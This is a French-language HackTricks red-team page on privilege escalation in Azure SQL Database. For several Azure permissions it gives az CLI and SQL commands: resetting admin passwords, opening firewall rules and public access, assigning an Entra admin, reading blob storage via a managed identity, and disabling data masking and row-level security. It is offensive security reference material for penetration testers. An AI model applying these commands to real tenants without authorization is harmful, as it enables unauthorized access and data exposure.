Az - SQL Database Privesc

Reading time: 6 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

SQL Database Privesc

Pour plus d'informations sur SQL Database, consultez :

Az - SQL

Microsoft.Sql/servers/read && Microsoft.Sql/servers/write

Avec ces permissions, un utilisateur peut effectuer une élévation de privilèges en mettant à jour ou en créant des serveurs SQL Azure et en modifiant des configurations critiques, y compris les identifiants administratifs. Cette permission permet à l'utilisateur de mettre à jour les propriétés du serveur, y compris le mot de passe administrateur du serveur SQL, permettant un accès ou un contrôle non autorisé sur le serveur. Ils peuvent également créer de nouveaux serveurs, introduisant potentiellement une infrastructure fantôme à des fins malveillantes. Cela devient particulièrement critique dans les environnements où "Microsoft Entra Authentication Only" est désactivé, car ils peuvent exploiter l'authentification basée sur SQL pour obtenir un accès illimité.

bash
# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>

# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_passwor d>

De plus, il est nécessaire d'avoir l'accès public activé si vous souhaitez accéder depuis un point de terminaison non privé, pour l'activer :

bash
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true

De plus, avec les autorisations, vous pouvez activer l'identité assignée, et opérer avec l'identité gérée attachée au serveur. Par exemple ici avec une identité gérée qui peut accéder à Azure Storage :

bash
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--assign_identity
sql
CREATE DATABASE SCOPED CREDENTIAL [ManagedIdentityCredential]
WITH IDENTITY = 'Managed Identity';
GO


CREATE EXTERNAL DATA SOURCE ManagedIdentity
WITH (
TYPE = BLOB_STORAGE,
LOCATION = 'https://<storage-account>.blob.core.windows.net/<container>',
CREDENTIAL = ManagedIdentityCredential
);
GO

SELECT *
FROM OPENROWSET(
BULK 'message.txt',
DATA_SOURCE = 'ManagedIdentity',
SINGLE_CLOB
) AS DataFile;
GO

Microsoft.Sql/servers/firewallRules/write

Un attaquant peut manipuler les règles de pare-feu sur les serveurs Azure SQL pour permettre un accès non autorisé. Cela peut être exploité pour ouvrir le serveur à des adresses IP spécifiques ou à des plages d'IP entières, y compris des IP publiques, permettant l'accès à des acteurs malveillants. Cette activité post-exploitation peut être utilisée pour contourner les contrôles de sécurité réseau existants, établir une persistance ou faciliter le mouvement latéral au sein de l'environnement en exposant des ressources sensibles.

bash
# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>

# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>

De plus, la permission Microsoft.Sql/servers/outboundFirewallRules/delete vous permet de supprimer une règle de pare-feu.
REMARQUE : Il est nécessaire d'avoir l'accès public activé.

Microsoft.Sql/servers/ipv6FirewallRules/write

Avec cette permission, vous pouvez créer, modifier ou supprimer des règles de pare-feu IPv6 sur un serveur SQL Azure. Cela pourrait permettre à un attaquant ou à un utilisateur autorisé de contourner les configurations de sécurité réseau existantes et d'accéder de manière non autorisée au serveur. En ajoutant une règle qui permet le trafic de n'importe quelle adresse IPv6, l'attaquant pourrait ouvrir le serveur à un accès externe.

bash
az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>

De plus, la permission Microsoft.Sql/servers/ipv6FirewallRules/delete vous permet de supprimer une règle de pare-feu.
REMARQUE : Il est nécessaire d'avoir l'accès public activé.

Microsoft.Sql/servers/administrators/write && Microsoft.Sql/servers/administrators/read

Avec ces permissions, vous pouvez privesc dans un environnement Azure SQL Server en accédant aux bases de données SQL et en récupérant des informations critiques. En utilisant la commande ci-dessous, un attaquant ou un utilisateur autorisé peut se définir ou définir un autre compte comme administrateur Azure AD. Si "Microsoft Entra Authentication Only" est activé, vous pouvez accéder au serveur et à ses instances. Voici la commande pour définir l'administrateur Azure AD pour un serveur SQL :

bash
az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>

Microsoft.Sql/servers/azureADOnlyAuthentications/write && Microsoft.Sql/servers/azureADOnlyAuthentications/read

Avec ces autorisations, vous pouvez configurer et appliquer "Authentification uniquement Microsoft Entra" sur un serveur SQL Azure, ce qui pourrait faciliter l'escalade de privilèges dans certains scénarios. Un attaquant ou un utilisateur autorisé avec ces autorisations peut activer ou désactiver l'authentification uniquement Azure AD.

bash
#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>

#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>

Microsoft.Sql/servers/databases/dataMaskingPolicies/write

Modifiez (ou désactivez) les politiques de masquage des données sur vos bases de données SQL.

bash
az rest --method put \
--uri "https://management.azure.com/subscriptions/<your-subscription-id>/resourceGroups/<your-resource-group>/providers/Microsoft.Sql/servers/<your-server>/databases/<your-database>/dataMaskingPolicies/Default?api-version=2021-11-01" \
--body '{
"properties": {
"dataMaskingState": "Disable"
}
}'

Supprimer la sécurité au niveau des lignes

Si vous vous connectez en tant qu'admin, vous pouvez supprimer les politiques de l'admin lui-même et d'autres utilisateurs.

sql
DROP SECURITY POLICY [Name_of_policy];

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks